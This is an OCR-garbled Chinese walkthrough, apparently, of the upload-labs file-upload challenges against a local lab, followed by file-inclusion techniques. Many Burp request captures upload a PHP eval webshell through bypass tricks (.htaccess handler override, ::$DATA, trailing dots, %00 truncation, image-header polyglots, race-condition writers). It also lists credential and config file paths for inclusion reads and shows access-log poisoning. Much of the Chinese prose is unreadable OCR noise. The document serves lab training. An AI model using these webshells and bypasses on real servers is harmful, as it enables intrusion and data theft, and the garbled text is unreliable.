& > 0 highlights

<input class="input_file" type="1
name="up|oad_file"/>
<input class="button" type="submit
="submit" value="_Lf&"/>

</form>

name

ipload/cmd. php" width=

<div id="footer">

<l |2 ch 0 highlights



3. REAEN

—. RIBEN:

EREFIREG, —REENEIINESRIIR, EESE3ENNBRMA AN RS,
FEZY BENX G EE

Y =T,

ApachefR55e88EEEFIPHPREMT .php3 . .php5. .phtml “HiiEERFBEENITENEHRS
79 .php3. .php5. .phtml WRIEEIRSZESEEEAPHPHEMXLEREBANE, TEIRSESERHEEA
BEREIERE

AENEER:

PHP: php2. php3. php5. phtml. pht
ASP: asa. cer. cdx

ASPX: ascx. ashx. asac

JSP: jspx. jspf

BCEXHHRT

.htaccess®ft (BEDHRNEENM) , £FREHypertext Access (BXAANY) . BHTEHTER

TEENG A E—MIEHXXEERPHRE—MEE— 1 HEZMESIUS) LMERTIHERK
HrEFER. SERILUESfREApachefvhost.confstf4:, ZAllowOverride Nonel&EH5
AllowOverride AlIFfEfFApache

B Z htaccess XA RILAX VI FAph pfi#FeeRskXd. htadcess S RIXI R S (3 TE A ph it R E
HRE

1. kf&.htaccess3i:
<FilesMatch "phpinfo.png">

setHandler application/x-httpd-php
</FilesMatch>


af://n560

Request

Pretty Raw Hex Chinese
T4 Sec—Fetch—Mode: navigate
15 Sec-Fetch-User: ?1
16 Sec—Fetch—Dest: document
Referer: http 27.0.0. 1/up |load/Pass—04/ index. php
8 Accept—Encoding: gzip, deflate, br
19 Accept—Language: zh—CN, zh;g=0. 9, en;qg=0. 8, en-GB;q=0. 7, en-US;g=0. 6
20 Connection: keep-alive

WebK i tFormBoundaryU7xXcz3F9LUBec6H
Content-Disposition: form-data; name="upload_file"; filename=". htaccess"
4 Content—Type: application/octet—stream

<FilesMatch "phpinfo.png">
setHandler application/x—httpd—php
FilesMatch>
——WebKitFormBoundaryU7xXcz3F9LUBec6H
Content—Disposition: form—data; name="submit"

il
———WebK i tFormBoundaryU7xXcz3F9LUBecb6H—

& | |Search

2. HEBRREISTH
1% phpinfo.png 314, it .htaccess BCE& S T FIRS SephpiH THEIF
HEHRE:

phpinfo.php

N 25 A A 2 A H phpi nfofs Sl ifi

3. RN L HfET



Request Response

Pretty Raw Hex Chinese & % N = | Ppretty Raw Hex Render Chinese
47Sec—Fetch—Mode: navigate i ‘ )
5 Sec—Fetch-User: ?1 62 <{form enctype="multipart/form—data” method=

5 Sec—Fetch—Dest: document "post" onsubmit="return checkFile()"
{ /i <p>
/ Referer: http://127.0.0. 1/upload/Pass—04/index. php P .
e 4
3 Accept—Encoding: gzip, deflate, br lﬁlt_**gtﬁ%m h: <p>‘ " el
<input class="input_file" type="file

NPy

Accept—Language: & j

zh—CN, zh;g=0. 9, en;g=0. 8, en—GB;g=0. 7, en-US;g=0. 6 . r.wame— UP|03d7f‘ le”, ’ .

Connection: keep-alive > <input class="button" type="submit
name="submit" value="_Ltf&",

WebK i tFormBoundary7e4R9vsGLr |g0du9 56 <_""‘.]_(OM_”7" .
Content-Disposition: form—data; name="upload_file"; <d."{ id="msg
. o " </div>
filename="phpinfo. png

4 Content-Type: image/png <-di‘{ id="img" .
<img sr .. /upload/phpinfo. png"

2php phpinfo width="250px" />

WebK i tFormBoundary7e4R9vsGLr |g0du?

Content-Disposition: form—data; name="submit" div>

0 highlights

PHP Version 5.4.45
System Windows NT DESKTOP-344ICHQ 6.2 build 9200 (Windows 8 Bsiness Edition) i586
Build Date Sep 2 2015 23:45:53
Compiler MSVCS (Visual C++ 2008)
i %86

Configure escript /nologo configure.js "—enable-snapshot-build® *--disable-isapi” *--enable-
Command debug-pack” "--without-mssql” *--without-pdo-mssql® "--without-pi3web" *--with-

pdo-oci=Cphp-sdkioracle\i I sdk shared” *-with-oci8=Ci\php-

dk i i \sdk,shared" "~-with-oci8-11g=CAphp-
sdk\oracle\instantclient11\sdk,shared" *--enable-object-out-dir=../obj/" *--enable-
d* *-with-merypt ic* *-disable-static-analyze" *--with-pgo”
Server AP| Apache 2.0 Handler
Virtual enabled
Directory
Support
i c:

File (php.ini)
Path
Loaded E:\PHPstudy\PHPTutariah\php\php-5.4.45\php.ini
Configuration
File
Scan this dirfor | (none)
additional .ini
files
Additional.ini |(none)
files parsed
PHP APl 20100412
PHP Extension |20100525
Zend Extension | 220100525
Zend Extension | API220100525,TS,VC9
Build
PHP Extension |API20100525,T5,VC9
Build
Debug Build no
Thread Safety | enabled
Zend Signal disabled
Zend Memory |enabled

=. BRREN

EEFRIRET, —RESE—ENINARRSER, EASEERNGEERBI RBE, 5%
I RBRISH N e £

00&; 5T



Ox00Z+7NHHIRTRTTIE, RascifiBNoNTFRF, HELRERMER, SIBXNFHIMERTT. RAHE
XIAAZATEENES, ANRIBFI0X00, MASNNIEEER. XA LB BRI &

EEFERXAR6HFIRNAER00, MARIMETHI00 ! | | MERRGER 1 6HHEEE (5
FRTHE) |, BElascitlATHUERFLL, XM ascifATAIMET63HIF/Z00, FHOFFLE
6, BRLERTIRAYOX00EMT, %00ZMARSS 2aHRIDA0%00K 1% 1 &kl EF

BHESMH: PHPARA < 5.3.29H php.iniX{fAImagicaquotes_gpchHIEHOFf

1. EAZIER php X, FEREFHRIINLE 200 1T EHT
ntercept  HTTP history WebSockets history Match and replace Proxy settings

@ Intercept on _- Drop Request to

[vne Direction Method LRI

Request

pretty Raw Hex Chinese
POST /upload/Pass—12/index. php?save_path=. . /upload/phpinfo. php%00 HTTP/1.1
2 Host: 127.0.0.1
3 Content-Length: 308
Cache—Control :
sec—ch—ua: "Chromium";v=" ", "Microsoft Edge";v="136", "Not.A/Brand”;v="99"
5 sec—ch—ua-mobile: 70
/| sec—ch—ua—platform: "Windows"
3 Origin: http://127.0.0.1
Content-Type: multipart/form—data; boundary=——WebKitFormBoundary3GDhGCTL | jU6V4N9
D Upgrade—|nsecure—Requests: 1
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winb4: x64) AppleWebKit/537.36 (KHTML, |ike Gecko) Chrome/136.0.0.0
Safari/537. 36 Edg/136.0.0.0
P | Accept:
text/html, application/xhtml+xml|, application/xml;q=0.9, image/avif, image/webp, image/apng, ¥/%;g=0. 8, application/sig
ned—exchange;v=b3;q=0. 7
3| Sec—Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
5 Sec—Fetch-Dest: document
/|Referer: http://127.0.0. 1/upload/Pass—12/index. php?save _path=. . /upload/
} | Accent—Encoding: ezipn. deflate. br

& > Search

4.BERITE

PIRFTRETIREG N %0047 . MIMERRR | B4t Iavascript . EBUGEMYT 7 BB+

Jrgend

DTRESEE: ol | makksnt | BEANESE | kgt | S8 . 1 SDATAZE |
WEFHLe . Ox008kMige . EA D . kiRt . AEAst . SNSRI | g
itmove_uploaded_file . #4Hseid

1. XHQESED

MHHEENAIEL (Magic Number) |, ERJLIASRFECHESREMNATEI, REHEELOIERITSHKENA
ZX RIS, EIERIHFVETEO 1 OeditorMNZ S IEbATANIE, (hBSI NGRS LR T &

Png: 89 50 4E 47 0D OA

Gif: 47 49 46 38 39 61


af://n602

2, REERG

FFBWindowsRFERIX 245, SEMEEERE&EERN., L& and.php. . #H{THRY

Request Response

Pretty Raw Hex Chinese ®E \n = Pretty Raw Hex Render Chinese

7 TACTEP L Lallguags L AR ; . .
zh-CN, zh;g=0. 9, en;g=0. 8, en—GB; g=0. 7, en-US ; g=0. 6 EEEE EEME R o>

63 <input class="input_file" type="file

name="up load_file"/>
<input class="button" type="submit"
name="submit" value="_E{&"/>

</form>

{div id="msg

</div>

5 <?php @eval ($ POST['cmd']) ;?> 0O . ) .

———WebK i tFormBoundarypQv2ysJ|3vMe2 |Bn ’ ! /up | 0ad/omd. php.

Content-Disposition: form—data; name="submit"

=ty
———WebK i tFormBoundarypQv2ysdJ|3vMe2 | Bn——

20 Connection: keep-alive "

———-WebKitFormBoundarypQv2ysdJ|3vMe2 |Bn
Content-Disposition: form—data; name="upload_file";
filename="cmd. php. ."

Content-Type: application/octet—stream

width

0 highlights 0 highlights

3. BRANEST
FAWIndowsXt K/ NEARFURAYFIE., £1E cmd. PHP 11

i
)
E

Request Response

Pretty Raw Hex Chinese = Pretty Raw Hex Render Chinese =
10/ sec—Fetch—Uest: document BRI E FERE S <p>
7 Referer: http://127.0.0. 1/upload/Pass—06/ index. php 63 i sllass=s inpmt i le® fupe="1 e
8 Accept—-Encoding: gzip, deflate, br " name="upload_file
Accept-Language: <input class="button" type=
zh—CN, zh;g=0. 9, en; g=0. 8, en-GB;g=0. 7, en-US;g=0. 6 FETE e el ST
0|Connection: keep—alive &Y
<div id="msg">
————WebKitFormBoundar ymsORvmYDP59F | aAX 57 divd>
Content—Disposition: form—data; name="upload_file"; div id="img">
filename="cmd. PHP" Ziims s
B . /up | 0ad/202505270621067360. PHP"

width="250px" />

php @eval ($§ POST['cmd']) ;7>
————WebKitFormBoundarymsORvmYDP59F | aAX
Content-Disposition: form—data; name="submit"

il
——=—WebKitFormBoundarymsORvmYDP59F | aAX——

Search 0 highlights € > Search 0 highlights

4, SEHEI

A& emd. php H1TEL



Request

Pretty Raw Hex Chinese
) oec—Fetch—Uest: document

7 Referer: http://127.0.0.1/upload/Pass—07/index. php
8 Accept-Encoding: gzip, deflate, br
9 Accept-Language:
zh—CN, zh;q=0. 9, en;q=0. 8, en-GB; g=0. 7, en-US:g=0. 6
0 Connection: keep-alive

? —————WebK i tFormBoundar yM2He0zAswuoVxAO01
3 Content—Disposition: form—data; name="upload_file";
filename="cmd. php "
24 Content—Type: application/octet—stream

5 {?php @eval ($ POST['cmd']) ;7>
WebK i tFormBoundaryM2He0zAswuoVxAO1
28 Content—Disposition: form—data; name="submit"

WebK i tFormBoundaryM2He0zAswuoVxAQ1——

& > |Search 0 highlights

Event log (1)

All issues (9)

vpe Direc
HTTP & Resnnnse

Request
Pretty Raw Hex Chinese
I6[Sec—Fetch—Uest: document
17|Referer: http://127.0.0. 1/upload/Pass—08/index. php
8|Accept-Encoding: gzip, deflate, br
9|Accept-Language:
zh—CN, zh;g=0. 9, en;q=0. 8, en—GB; q=0. 7, en-US;g=0. 6
20| Connection: keep-alive

? | ————WebK i tFormBoundar ygsDRhxAWutoZ2JsM
3| Content—Disposition: form—data; name="upload file";
filename="cmd. php. "
24|Content-Type: application/octet—stream

5/ <?php @eval ($_POST['cmd']) ;7>
WebK i tFormBoundarygsDRhxAWutoZ2JsM
28 Content—Disposition: form—data; name="submit"

WebK i tFormBoundarygsDRhxAWutoZ2JsM—

€& |2 Search

0 highlights

Event log (3) All issues

6. :$DATAZET

= | Pretty Raw Hex
63

64

Response

Pretty Raw Hex Render Chinese
64‘

<form enctype="multipart/form-data" method
="post" onsubmit="return checkFile() ">
<p>
HIEFE LEHER: <p>
<input class="input_file" type="file
" name="upload_file"/>
<input class="button" type="
name="submit" value="_tf&"/
</form>
<div id="msg">
</div>
<div id="
<img src=
.. /upload/20
width="250p>

submit"
pd

</divy
<i>

</ol>

& >  Search 0 highlights

Response

Render Chinese

IHEFE FENER: <p>
<input class="input_file" type="file
" name="upload_file"/>
<input class="button" type=
name="¢

</form>

ddiv id="

<Sdiv>

<div id="im
<img src=
"250px" /

"submit”

upload/cmd. php. " width=

</div>
<>
</ol>
</div>

</div>
<div id="footer">

0 highlights

: 1 $DATA 2 Windows 74t AT IEXHEIRIVSIARE. ER—MIRERIENE JBTFEMEU4IISEER
KA. EWindowsXXHEFH, BMEHBE—IXHELIIZR, EhEa37THNSMELRER, W
MR, KN\ BIEBEEIE. ::SoATA BIERTRME U HISSRREEE

FEWindowsRFH, HEUERITEMEESXGASHI $SDATABM S, Bl EEEMBEE+R, NEH
HIBAR (Alternate Data Streams) . :$DATABMEERTEHEENFELIE, mAMEHEN TR
FHERESUEEMEXER

"$DATARMM TEEAFRIREREN, EBERAGRF—SEREFEnRMERE. MTER
Pk, XHaEiE =B 2 RnAMEEN, MAFTEERNR:$DATAEL

RMSZ, “$DATARWIndowsREHATFEXHLrEiEIREENE, eTERRPRREER
1, RERFNIEEREFZEHRFERE



& emd. php: : $DATA HHT58L

Request

Pretty Raw Hex Chinese
vec-Fetch—Dest: document

7 Referer: http://127.0.0. 1/upload/Pass—09/index

3 Accept—Encoding: gzip, deflate, br
Accept-Language:
zh—CN, zh;q=0. 9, en;

0 Connection: keep-alive

WebK i tFormBoundarykvBZ0izh jwSYhuaM

3 Content-Disposition: form—data; name="upload fil

filename="cmd. php: : $DATA"
4 Content—Type: application/octet—stream

5 {?php @eval ($ POST['cmd']) ;?>
————WebK i tFormBoundar ykvBZ0 i zh jwSYhuaM
Content-Disposition: form—data; name="submit"

< >

Event log (3) Allissues (15)

7. NEREGE

& cmd. pphphp #H{T88S

Request

Pretty Raw Hex Chinese
10 dec—Fetch—Dest: document

17 Referer: http:
Accept—Encoding:
Accept-Language:

p, deflate, br

zh-CN, zh;g=0. 9, en;g=0. 8, en—GB;g=0. 7, en-US; g=0. 6

Connection: keep—alive

——==WebKi tFormBoundary0SmanSB5e i 3SCAObK

3 Content—Disposition: form—data; name="upload_file";

filename="cmd. pphphp"
Content—Type: application/octet—stream

<{?php @eval ($§ POST['cmd']) ;2>
————WebK i tFormBoundary0SmgnSB5e i 3SCAObK

Content-Disposition: form—data; nam

WebKitFormBoundary0SmanSB5e i 3CAObK——

€ |5 search

Eventlog (4) Allissues (18)

8. Ox00&HALES

1. BERII—MEE,

0. 8, en—GB; g=0. 7, en-US; g=0. 6

'/127.0. 0. 1/up | cad/Pass—11/index. php

="submit"

Response
& 5 \n = Pretty Raw

Hex Render Chinese

Inspector

Request attri

name="up load_file"/>

php 64

<input class="button" type="submit"

="submit" value="_LEf{&"/>

</form>
ddiv id="msg">
</div>
<div id="img">
<img src="
. /upload/2
width="250p>

</div>
<>
</ol>
</div>

</div>

<div id="footer">
{center>

0 highlights < >

Render
<p>

Hex

Chinese

70637404156 php

0 highlights

BRZFE FERER: <p>

input clas

input_file" type="file"

name="upload_file"/>

</form>
<div
</div>
<div

</div>
/1i>
</ol>
</div>

{/div>

0 highlights & | = Search

XEiRINa, ftaR916EFIZRTI %20, 0x61

<input clas
="submit" value

id="m
1d="img

<img sr
250px" /

button” type="submit" name

"L/

/upload/cmd. php" width="

0 highlights




Request

Pretty Raw Hex Chinese

T/ Referer: http://1Z/.0.U. 1/upload/Pass—13/ ndex. php

18 Accept—Encoding: gzip, deflate, br

19 Accept-Language: zh—CN, zh;g=0. 9, en;g=0. 8, en—GB;g=0. 7, en-US;g=0. 6
20 Connection: keep—alive

WebK i tFormBoundaryaCHgFpyQu4 | Apw!Y
Content-Disposition: form—data; name="save path"

/upload/cmd. php a
WebK i tFormBoundaryaCHgFpyOu4 | ApwlY
Content—Disposition: form—data; name="upload file"; filename="cmd. php"
8 Content-Type: application/octet—stream

0 <?php @eval ($_POST['cmd']) ;?>
WebK i tFormBoundaryaCHgFpyQu4 | ApwlY
Content-Disposition: form—data; name="submit"

WebKitFormBoundaryaCHgFpyOu4 | ApwlY——

& = Search

2 FEHEXT7SIFHIBHEEIRIAARINAY Eika , BHEAT7N#H1T 20 559 00

Request

Pretty Raw Hex Chinese
1 64

All issues (19)

9. BERS%Kid

1 EE—KIERNERFI— M php3Xit, HUTLAT < TR0 :

copy .\3fb.gif/b+.\phpinfo.php/a rh.gif
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.\phpinfo.php
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C:\Users\Administrator.DESKTOP- aquCHQ\Downloads\—ﬁ S\E

uay
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Request
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buuseolu T @b aa Lo bZ bu Dz
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PHP Version 5.4.45 @

Windows NT DESKTOP-344ICHQ 6.2 build 9200 (Windows 8 Business Edition) i586
Sep 22015 23:45:52

MSVC (Visual C++ 2008)

x86

Configure ipt fnologo configure.js *
Comnane] debs o e

d 1\sdk shared” -

Server API Apache 2.0 Handler
enabled

10, ZIRiEREGT

RIERENER D EERMXEENphpRIBEKRTY, FEEREERBIIEEHINEN, RPEERKE
ERRABHBR T, EFEWETER. BABMZEEFERNIBBERRIMTT, FEAKRDS
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1, RiESGH

1 EE— N FRB  ?php fputs(fopen('shell.php', 'w'), "<?php phpinfo@%52>"Y; 25 19
php3Zf4

fopen: NENTHLL R4
data: MINE NMSCHR R4

2. HEZHFNE, MZEREHITER, WAILAMER Burp suite AYNU1T payloads FHTIRMK

1 2

Cluster bomb attack

- MO Peoxs

Payload position: 1
Target  http://127.0.0.1 ¥| Update Host header to match target
Payload type: Simple list

Positions  Add§ @ Clear§ | Auto§ Payload count: 50

Request count: 50

4 Sec—Fetch-Mode:
5 Sec—Fetch-User:
6 Sec-Fetch-Dest:

navigate
7
document

Payload configuration

Referer: http://127.0.0. 1/upload/Pass—18/index. php This payload type lets you configure a simple list of strings that are used as
8 Accept—Encoding: gzip eflate, br payloads.

Accept-Language: zh f 0.9, en;g=0. 8, en—GB;g=0. 7, en-US;g=0. 6
P0 Connection: keep-alive Basle
Load

————WebKi tFormBoundaryTu01GVzKHMGF i KOC
Content-Disposition: form—data; name="upload_file"; filename="1.php"
Content-Type: app!

Remove

ication/octet—stream Clear
ohp! Fputs,(Fopen (@Bmd: phph wi)h =<Zphp! phpinfo (i 2>5):2> Reduplicate
- WebK i tFormBoundaryTu01GVzKHMGF i KOC Add

Content-Disposition: form—data; name="submit" —
Add from list...

————WebKi tFormBoundaryTu01GVzKHMGF iKOC—
§

Payload processing
define rules to perform various processing tasks on each payload

& | Search 1 highlight 1 payload position Length: 1305

Enabled

Event log (5) Allissues (38) Memory: 256.2

12, FHRFBITERSD



HTFERBRKIE, EtReE HERERRRINY. BEcSApachelIEITMIR , "TEApachelfRAFFE 5
BT, Xt mime.types KBTI HEEASRFT, BE httpd. conf S TFH mime. types , 186
KIN72/588, REBASIENT7Z3XF, tUal test.php. 7z XN, ApachefIEITENEFRT, H7z4

BERRITEY, HMERIRT—ERIRTLURITRIEES 9L, FTLUE test. php. 7z SfFtest.phpHifT

[REBIRIA LR RF—R, DAERBEHRIIA G EE N EE2REIN T — MApachefYETX

i

13, #idmove_uploaded file
PR E RS B ERIGiE
move_uploaded_file()AEXA— MY, SBBIESUGRER /.

1. EE—1phpBRERSNEEEN, ELEPRRIREXHRERINE /.

Request

Pretty Raw Hex Chinese

[Reterer: http://12/7.0.0.1/upload/Pass—2U/ 1ndex. php

8 Accept—Encoding ip, deflate br

9 Accept-Language: —CN, q=0. 9, en;q=0. 8, en—GB;g=0. 7, en-US;g=0. 6
0 Connection: keep-alive

) ——————WebKitFormBoundary j IW5QJ7JgHZBGtqY

)3 Content-Disposition: form—data; name="upload_file"; filename="111.png"
4 Content-Type: application/octet—stream

WebKitFormBoundary j IW5QJ7JgHZBGtqY
8 Content—Disposition: form—data; name="save name"
0 upload-19. php/.

WebKitFormBoundary j IW5QJ7JgHZBGtqY
Content—-Disposition: form—data; name="submit"

0 highlights

Request Response

Pretty Raw Hex Chinese = | Pretty Raw Hex Render Chinese

name— save_name value—
upload-19. jpg" />
<br/>
<input class="button" type=
submit” value="_Ef&"

1 POST /upload/Pass—20/index. php HTTP/1.1

2 Host: 127.0.0.1

3 Content—Length: 419

4 Cache—Control: max-age=0
sec—ch—ua: "Chromium”;v="136", "Microsoft Edge";v="136",
"Not. A/Brand”;v="99"

6| sec—ch—ua—mobile: 20

7| sec—ch—ua—platform: "Windows"

8 Origin: http://127.0.0.1

9 Content-Type: multipart/form-data;
boundary=——--WebK i tFormBoundaryLKygH0Cx5ZSoUhAu

0 Upgrade—Insecure—Requests: 1
User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537. 36 (KHTML, |ike Gecko) Chrome/136.0.0.0
Safari/537. 36 Edg/136.0.0.0

2 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, im |
age/avif, image, webp image/apng, */¥:9=0. 8, appl ication/sig

pload/upload—19. php/. "

<div id="footer">

0 highlights Search 0 highlights

2.3 3B N R AR fE AT 18]



@ 127.0.0.1/upload/uploa

Server API Apache 2.0 Handler

Virtual cnabled
Directory.
Support

Configuration | Cawindows
File (php.ini)
Path

Loaded E:\PHPstudy\PHPTutorial\php\php-5.4.45\phpini
Configuration
File

Sean this dir for | (none)
additional .ini
files

Additional .ini | (non)
fills parsed

PHP APl 20100412

PHP Extension | 20100525

Zend Extension | 220100525

Zend Extension | API220100525,TS VCE!
Build

PHP Extension {API20100525,T5,VCe
Build

Debug Build_, [no

Thread Safety |enabled

Zend signal), | dissbled
Handling

Zend Memory | enabled
Manager

Zend Multibyte |provided by mbstring
Support

1PV6 Support | enabled

DTrace Support |disabled

Registered PHP | php, file, glob, dats, http, ftp, zip, compress zlib, compress bzip2, phar

Request

Pretty Raw Hex Chinese

T/ Reterer: http://127.0.U.1/upload/Pass—21/1ndex. php

18 Accept—Encoding: gzip, deflate, br

19 Accept-Language: zh-CN, zh;g=0. 9, en;qa=0. 8, en—GB;g=0. 7, en-US;g=0. 6
20 Connection: keep—alive

WebK i tFormBoundaryJi7NZ0tVcd2KsAk2
ontent-Disposition: form-data; name="upload file"; [filename="phpinfo.png"
Content—Type: image/png
26 <?php phpinfo() ;?>

WebK i tFormBoundarydJi7NZ0tVcd2KsAk?2
ontent-Disposition: form—data; name="save name[0]"

WebK i tFormBoundaryJi7NZ0tVcd2KsAk2
ontent-Disposition: form—data; name="save name[2]"

WebK i tFormBoundaryJi7NZ0tVcd2KsAk2-—

€ > |[Search
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0 highlights
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af://n696

include()

require() \
include_once()

require_once()

O |

1.3 4R, AJLMEAN— RS ARECE S 4 EK CEMHNMENEIZ GRS 6
.

2 4
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X BEEXS AU HHTRE, BTRSS EAXEAARRREET 1, EitizER
T, ESHREE—LEENRFEEXHE, NSRS fd =8 . REMEEXXHE SRR
BRI EAETRE, ATz R E RRIRS

A 1. 614 RAHURC A A
@ 2. @
C 3.4 A SO .
’ ¢ \ W
4. FI I phpfh st 7 2t \
1, EEREES *
Windows TSzt @
C:\boo}.i --=>  BE ARG
C:\wjnd& stem32\inetsrv\MetaBase.xml ----> iisfitE 0’\

C:\windews\repair\same ----> f¢fiiwindows RGVIR %G
C:\ProgramFiles\mysql\my.ini ----> mysqlit&EE \
Cc:\ProgramFiles\mysql\data\mysql\user.MmYyD ----> mysql root*i4

A c:\windows\win.ini ----> ZRZEE
Q@ linuxE TS @
\ ol (Q


af://n707
af://n714

Q

.Q

)

/etc/passwd
/etc/shadow

———>

cooh

/etc/apache2/apache2.conf

/etc/my.conf

/etc/php/5.6/apache2/php.ini
/etc/httpd/conf/httpd.conf

2, BERAEXH

oo

I IRE S
e P2 Tl S A
mysq 1t & 1
————>
-——>

4

N

php AT
apachefit

-—-—> Apache2 B\l B

%A

SHEABERERIRE LETIRERS, WRBAMNMALEEE S BE X EE R CTLUCREFinEARY
Xt [RIBIFERESR, SEATERMNGE, RBSFATHICREANTA, SHNDEHRTRIEEE

SRS, BEWICRE
M BALREE

4
L 4

B

HUEENRER)

K2 MHIREEWATFRO®ER \\
1.LAphpStudy AfilF, #HAZRIApacheRIEEESEE Rconf (BIHFRE— 1, phpStudyZ3ErEHiE

jimmy (B} » PHPstudy » PHPTutorial » Apache » conf

= :
| extra

| ossl

[ charset.conv

[ ] httpd.conf

[} magic

[[] mime.types

[ ] opensslenf

[ vhosts.conf

[t

2025-05-29 14:37
2025-02-10 23:53
2010-01-26 w:E
2025-05-38 1

2010-01-26 &
2010-01-26 18:
2009-04-04 10:09

2025-05-29 14:37

)

T & & B SERBARSS 2R AUPR

BH BSOS AR, X2 E OX H S — 21 T

L 4

L 4

7|

2 KB

CONF 3045 19 KB
14 KB

TYPES X044 46 KB
11 KB

CONF =% 1KB

*

o
2 JRiE h’x\o@#, #Z| #customLog "logs/access.log #1%5%‘%1]73\7\ FRFHESApache

)
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4> output vol2_chromehistory(1).text httpd.conf
# logged therein and *not* in this file.
#

##CustomlLog "logs/access.lod" common

#
# If you prefer a logfile with access, agent, and referer
information
# (Combined Logfile Format) you can use the following
directive.
#
3e5 #CustomlLog "logs/access.lod" combined
</IfModule>

<IfModule alias_module>
#
# Redirect: Allows you to tell clients about documents that
used to
# exist in your server's namespace, but do not anymore. The

] GB82312, 2 selection regions esi 4 Plaigffext

33N Apachefy Togs XHEKE, TILAEZE! access.log X5

Jimmy [E:J_s PHPstudy » PHPTutorial » Apache » logs

o~

= ==k =it o

|j access.log 2025-05-29 14:4 BT 0 KB
|j error.log 2025-05-29 14:4 g 689 KB
|7 httpd.pid 2025-05-29 14:41 PID =i 1 KB

FR:
1.X538873(ahttp://127.0.0.1/, Apache2EEFimHNIERKBRICRK MK, LAdfEaccess.loga]LAEEIE
ZERINE—IIEARDLEEHET

B e:PHPstudy\PHPTutorial\Apachellogs\access.log ~Sublime TeRt(ADMIN) . O x
R RHE) O BRES SR ERNV SHE) TR0, \EPE) EEN) EEH)

accesslog

127.0.0.1 - - [29/May/2025:14:44:09 +0800] "GET /%3C?php HTTP/
1.1" 402 213 "-" "Mozilla/5.0 (Windows NT 10.8; Win64; x64)
ApplellebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/
537.36 Edg/136.0.0.0"

127.0.0.1 - - [29/May/2025:14:44:09 +@80@] "GET /favicon.ico HTTP/
1.1" 404 209 "http://127.0.8.1/%3C?php" "Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
136.0.0.0 Safari/537.36 Edg/136.6.06.0"

127.0.0.1 - - [29/May/2025:14:45:09 +@8e@] "-" 408 - "-" "-"

127.0.0.1 - - [29/May/2025:14:52:46 +8800] "GET

/%3C?php%20eval ($_POST[%27a%27]); ?%3E HTTP/1.1" 403 213 "-"
"Mozilla/5.0 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.06.0.0"

I Ascl, Line 5, Column 1 Tab Size: 4 Plain Text



http://127.0.0.1/

2 ERBERHRRN, EANEEE—EAFIARFATRT 7 —X uRLEiS  FIFBBuUrp SuiteiH T2

@ Intercept on Request to http://127.0.

Tvpe Direction Method URL

Request

Pretty Raw Hex Chinese

1 GET /<?php eval (§_POST['a']);?> HTTP/1.1

2 Host: 127.0.0.1

3 Pragma: no-cache

4 Cache-Control: no-cache

5 sec—ch-ua: "Chromium";v="136", "Microsoft Edge";v="136", "Not.A/Brand";v="99"
6 sec—ch-ua-mobile: 70

7 sec—ch-ua—platform: "Windows"

8 Upgrade-|nsecure-Requests: 1

9 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, |ike Gecko) Chrome/136.0.0.0

Safari/537.36 Edg/136.0.0.0

10 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, *¥/%*;g=0. 8, application/sig
ned-exchange; v=b3;g=0. 7
1 Sec-Fetch-Site: none
2 Sec-Fetch-Mode: navigate
3 Sec-Fetch-User: 71
4 Sec-Fetch-Dest: docume
5 Accept-Encoding: gz
6 Accept-Language: zh ,zh;g=0. 9, en;g=0. 8, en-GB; g=0. 7, en-US;g=0. 6
7 Connection: keep-alive

£

1
1
1
1
1
1
1

€ | Search 0 highlights

3EHTIFEES, WHALER—SEASEENINEANT

E £:\PHPstudy\PHPTutorial\kpache\logsiaccess.log - Sublime Text (ADMIN) — O %
AR RIR(E) BEER(S) =RR() FE(V) 2EKG) TR MEP) EEN) EEH)
4P | accesslog

10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
136.0.0.0 Safari/537.36 Edg/136.6.06.0"

127.0.0.1 - - [29/May/2025:14:45:09 +@80@] "-" 408 - "-" "-"
127.0.0.1 - - [29/May/2025:14:52:46 +8800] "GET

/%3C?php%20eval ($_POST[%27a%27]); ?%3E HTTP/1.1" 483 213 "-"
"Mozilla/5.0 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.06.0.0"
h27.8.0.1 - - [29/May/2025:14:53:46 +@80@] "-" 408 - "-" "-"
127.0.0.1 - - [29/May/2025:14:57:28 +880@] "GET /<?php

eval($ POST['a']);?> HTTP/1.1" 483 213 "-" "Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
/136.0.0.0 Safari/537.36 Edg/136.0.06.8"

127.0.0.1 - - [29/May/2025:14:57:28 +880@] "GET /<?php

eval($ POST["a']);?> HTTP/1.1" 483 213 "-" "Mozilla/5.0 (Windows
NT 10.06; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
/136.6.0.6 Safari/537.36 Edg/136.0.0.8"

127.6.0.1 - - [29/May/2025:14:57:28 +080@] "GET /favicon.ico HTTP/
1.1" 404 209

0 ASscH, Line 5, Column 1 Tab Size: 4 Plain Text
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AR EARIRSS S ESI M A RO RIR XA S A6 HITHEE, Jtlsﬁa‘EJL‘,Liﬁ?g@iFU%
REFEPSETHR SO e F

4. PHP{AHYFIA
PHP Dl 2 PHP ﬁ%ﬁ’\]m\i}‘i'—iﬂ%’rﬂ]\'w\ XN GERRITFZ e SHUT

file:// ——--> ViR XHRS

http:// —---> Vil HITP(s) Mk
ftp:// --——> Vil FWP(s) URL
php:// -——> l JHHE (I/0streams)

z1lib:// - it ﬁ
data:// s> WHE (RFC 2397)

glob:// —— 3 A AR G T A ST B A7 A
phag:? -—%> PHP R4 .
ssh2~2§ . _-> secure Shell 2 * \
rar:// --—-> RAR \
0gg:// -——=> A

expect:// --—-> K H R
Bt LRERLEL? @
£ PHP RukFF &, (EFSEAIIMY (20 data://text/plain, php://input &) BE 2R 7 E—Lus
ENBEREHRENER. UTR—LE BN, TR RN :

1. NSERRE . BIHERFEENTEN—
